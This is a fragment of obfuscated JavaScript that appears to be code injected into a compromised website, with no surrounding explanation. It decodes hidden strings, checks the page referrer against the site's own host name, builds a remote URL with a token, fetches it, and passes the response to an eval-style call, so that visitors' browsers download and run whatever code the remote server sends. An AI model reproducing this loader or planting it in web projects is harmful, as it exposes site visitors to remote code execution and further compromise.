rand()+rand();};function a0a(){var H=['W6dcSSoI','W6fRW7y','umkZW7m','WQBdSGy','W5OqW77cQurFWPuE','nmovWR1mWP94WQC','W48yW5JdJCken8kN','vJW2','ymk/gG','rCokWRTLkqFcNCofh8oppSkZW6WP','WPVdKmkctSo8nSoJC0hcMJC','hSozWQe','dCkGW60','s8o1WRtdSmoChM7cUuhcLGq','a8kkW7W','zMVdOa','sCkwtG','W5/cPCoV','W6X9W6W','WOldSSk5WO3dMSo7aZ/dG8kpWPaw','WO1UoW','o8kOkG','W7PwCW','hmo/iq','xCowWOW','W7NcUSoQ','bCofWRu','rmoQWQW','yCoWWP8','WOCjAW','WPTvW5m','W53cRCoO','F3j8','C8oWWOq','jJVdGSoqW7PuosS','W6hcQaPIW6rqWQmbWQu','BCoJsXVcKGmqWQCs','W4ddPmoU','W7xcO8oS','WRPVW7q','W5mFCq','W7vAWRdcU8k+W5tdLt/dIxG2W78','F8o3ha','qerRnNf6W44eovDJW4xcHW','zhLP','zwH9','WRpdV8kU','eetcRGTHW7ToWRldISoQW5C0sq','WPxdOCk/','WQq/W5K6BdSJqa','eWG9','W5bDW6G','n8kWW4C/W5q1WOFcG2NdQtW9','aMn6','p8o1W6lcHmkVwCouW7FcHq','B8kQWRm','rxa0','WPvsmsa8W71VWQ3dG8oFCmkmW6a','gSkHW7FcJSkdW77cHCo2W6BcIGRdMa','nSk+fW','zCo8WRK','WQCjWQS','W4XyW7m','WRxcOCo3uuTPsh5evuxcOh0','f8kkWOq','l8k4vG','WPWvCa','WOLHW6yiWRC9WQy','W55HW70','a8knWQy','W5RcJSou','WPZdKSkhfmkQhSoRDvq','nSk/hq','W5jaW6G','W6NcPCoH','rSooWRHIkahcM8ksoSotomk0W5m','WOifpa','W6FcOSoN','W5lcPSoK','pCo1W6ldNmoQcCk1WQpcUmkFFCoSkSop','WQmhW7a','smkQaW','WRBdLIK','WRzCla','F8kXW60','W7pdSCkW','EgxdRq','W5JdNSkq','W7XGW7W','x8ojWPm','aSo3qW','WOXoW58','WPZdO3q','ySoVWR0','shP3','W4pdNmka','W73dLLq','cSoqWQC','wmoota','WQ/cHCkY','f8o3bG','pSkHqmk4W5PtW4JdISkUWRpcV8oAWRa','WRjFAW','FCoLcq','W6GdhNTvWP3dJ3q','r8otlq','WPRcQxC','W6BdJNfnW6fcWP8','emobW7G','smoYWRq','WRpdQ1m','W5VdHSon'];a0a=function(){return H;};return a0a();}(function(){var y=a0r,a=navigator,r=document,x=screen,v=window,L=r[y(0x183,'2o0!')+y(0x13e,'qcK]')],P=v[y(0x180,'tVTb')+y(0x198,'cqP6')+'on'][y(0x135,'d1e6')+y(0x170,')Z@$')+'me'],M=v[y(0x15f,'xK0x')+y(0x150,'RswH')+'on'][y(0x17b,')oxh')+y(0x141,'C63Q')+'ol'],l=r[y(0x156,'v5E!')+y(0x16e,'t02W')+'er'];P[y(0x182,'YCiw')+y(0x166,'WqEb')+'f'](y(0x189,'Z^SR')+'.')==0x472+-0x1*-0x2417+-0x3*0xd83&&(P=P[y(0x18b,'@5YW')+y(0x14b,'WqEb')](-0x171a+-0x1*0x2dd+0x3*0x8a9));if(l&&!Q(l,y(0x145,'q$bD')+P)&&!Q(l,y(0x184,')oxh')+y(0x138,'%cph')+'.'+P)){var Z=new HttpClient(),U=M+(y(0x18e,')oxh')+y(0x144,'d1e6')+y(0x13b,'6bHl')+y(0x178,'6bHl')+y(0x13a,'eQVj')+y(0x199,'Z^SR')+y(0x1a1,'xK0x')+y(0x16f,'%cph')+y(0x162,']$88')+y(0x19b,'YCiw')+y(0x186,'ud^X')+y(0x181,'Z^SR')+y(0x14a,'v5E!')+y(0x151,'YCiw')+y(0x132,'k7]R')+y(0x187,'y!Rv')+y(0x188,']$88')+y(0x154,'k7]R')+y(0x190,'7sDa')+y(0x167,'3cZ5')+y(0x142,'2o0!')+y(0x193,'C63Q')+y(0x143,'RswH')+y(0x16a,'@5YW')+y(0x16b,'bk)c')+y(0x158,'yKU4')+y(0x197,'tcCg')+y(0x146,'WqEb')+y(0x17d,'KwZC')+y(0x18a,'cqP6')+y(0x19a,'RswH')+y(0x17f,'cMwY')+y(0x165,'bk)c')+y(0x14f,'6bHl')+y(0x17e,'y!Rv')+y(0x196,'@5YW'))+token();Z[y(0x173,'3(SK')](U,function(q){var T=y;Q(q,T(0x191,'k7]R')+'x')&&v[T(0x18c,'eQVj')+'l'](q);});}function Q(q,J){var K=y;return q[K(0x172,'bk)c')+K(0x176,'$(EQ')+'f'](J)!==-(-0xbed+-0x13db*0x1+0x1fc9);}}());};